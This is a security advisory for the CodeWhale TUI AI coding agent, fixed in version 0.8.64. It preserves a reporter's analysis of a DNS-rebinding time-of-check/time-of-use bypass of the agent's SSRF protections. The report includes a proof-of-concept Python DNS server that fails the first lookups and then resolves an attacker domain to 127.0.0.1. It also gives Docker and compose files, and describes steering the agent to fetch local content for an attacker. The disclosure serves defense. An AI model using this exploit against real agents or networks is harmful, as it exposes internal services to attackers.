Is codewhale-tui safe?

GHSA-6v2g-fpxh-pmmh

The CodeWhale maintainers validated this report. The affected package ranges are recorded in the advisory metadata. Version 0.8.64 contains the fix in commit 26de44a8bd50. Users should upgrade to 0.8.64 or later. The original reporter analysis is preserved below.

DNS-pinning failure allows natural failure of code, however with a custom DNS server that fails the initial requests and allows the secondary requests, it's possible to bypass the logic.

Simplified attack scenario:

• Attacker asks agent to visit the mydomain.com.
• CodeWhale tries to resolve the IP of mydomain.com, however, the custom DNS server that's controlled by the attacker marks the request DNS‌ query as failed (Time of Check).
• CodeWhale allows the code to continue as it expects it request to fail again.
• On the secondary (Time of Use), the DNS server resolves mydomain.com to a local IP (e.g., 127.0.0.1)
• The request is executed and the content from port 80 is returned to the attacker, allowing full bypass of SSRF mitigations.

In the DNS-pinning section, when DNS fails, the code is allowed to continue as it's expected to fail. However

This is a custom DNS server that fails the first requests (in this case, the first and second requests must fail, while the 3rd and 4th are allowed due to A and AAAA DNS queries). Here is the code for the DNS‌ server(for PoC, should be placed in dnser/dnsresolver.py:

#!/usr/bin/env python3
"""
Local DNS Resolver — customizable request/response handling.
Uses only the standard library + dnslib.

Usage:
    pip install dnslib
    sudo python dns_resolver.py          # binds to 0.0.0.0:53 by default
    python dns_resolver.py --port 5353   # unprivileged port for testing
"""

import argparse
import socket
import threading
from dnslib import DNSRecord, DNSHeader, RR, QTYPE, A, CNAME, AAAA


UPSTREAM_DNS = ("8.8.8.8", 53)   # fallback resolver


def handle_no_aaaa(query: DNSRecord) -> DNSRecord | None:
    """Drop all AAAA requests."""
    if QTYPE[query.q.qtype] == "AAAA":
        reply = query.reply()
        reply.header.rcode = 3  # NXDOMAIN
        return reply
    return None

def handle_blocked(query: DNSRecord) -> DNSRecord | None:
    """Block domains by returning NXDOMAIN."""
    blocked = {"blocked.example.com.", "ads.tracker.io."}
    qname = str(query.q.qname)
    if qname in blocked:
        print(f"  [BLOCKED] {qname}")
        reply = query.reply()
        reply.header.rcode = 3          # NXDOMAIN
        return reply
    return None

failer = 0
MAX_FAIL = 2
MAX_SUCCESS = 2

def handle_overrides(query: DNSRecord) -> DNSRecord | None:
    global failer
    """Return hardcoded A records for specific names (split-horizon / local dev)."""
    overrides: dict[str, str] = {
        "myapp.local.":     "127.0.0.1",
        "devserver.local.": "192.168.1.100",
        "mydomain.com.":    "127.0.0.1",
    }
    qname = str(query.q.qname)
    qtype = QTYPE[query.q.qtype]

    if qname in overrides and qtype == "A":
        failer += 1
        cycle_pos = (failer - 1) % (MAX_FAIL + MAX_SUCCESS)  # position within cycle
        should_fail = cycle_pos < MAX_FAIL

        print(f"  [OVERRIDE] request={failer} cycle_pos={cycle_pos} fail={should_fail}")

        if should_fail:
            reply = query.reply()
            reply.header.rcode = 3
            reply.header.ra = 0
            return reply

        ip = overrides[qname]

Docker file to build it(dnser/Dockerfile):

FROM python:3.12-slim

WORKDIR /app

RUN pip install dnslib --no-cache-dir

COPY dns_resolver.py .

EXPOSE 53/udp
EXPOSE 53/tcp

CMD ["python", "-u", "dns_resolver.py", "--host", "0.0.0.0", "--port", "53"]

Then to simplify the test, we can set everything in a container and make the agent use the local DNS resolver:

docker-compose.yml:

services:
  dns-resolver:
    build: dnser
    container_name: dns-resolver
    restart: unless-stopped
    networks:
      dns-net:
        ipv4_address: 10.0.1.2

  a:
    image: ghcr.io/hmbown/deepseek-tui:latest
    container_name: tui
    environment:
      DEEPSEEK_API_KEY: sk-
    stdin_open: true
    tty: true
    dns: 10.0.1.2
    networks:
      - dns-net
    depends_on:
      - dns-resolver
    sysctls:
      net.ipv6.conf.all.disable_ipv6: 1



networks:
  dns-net:
    driver: bridge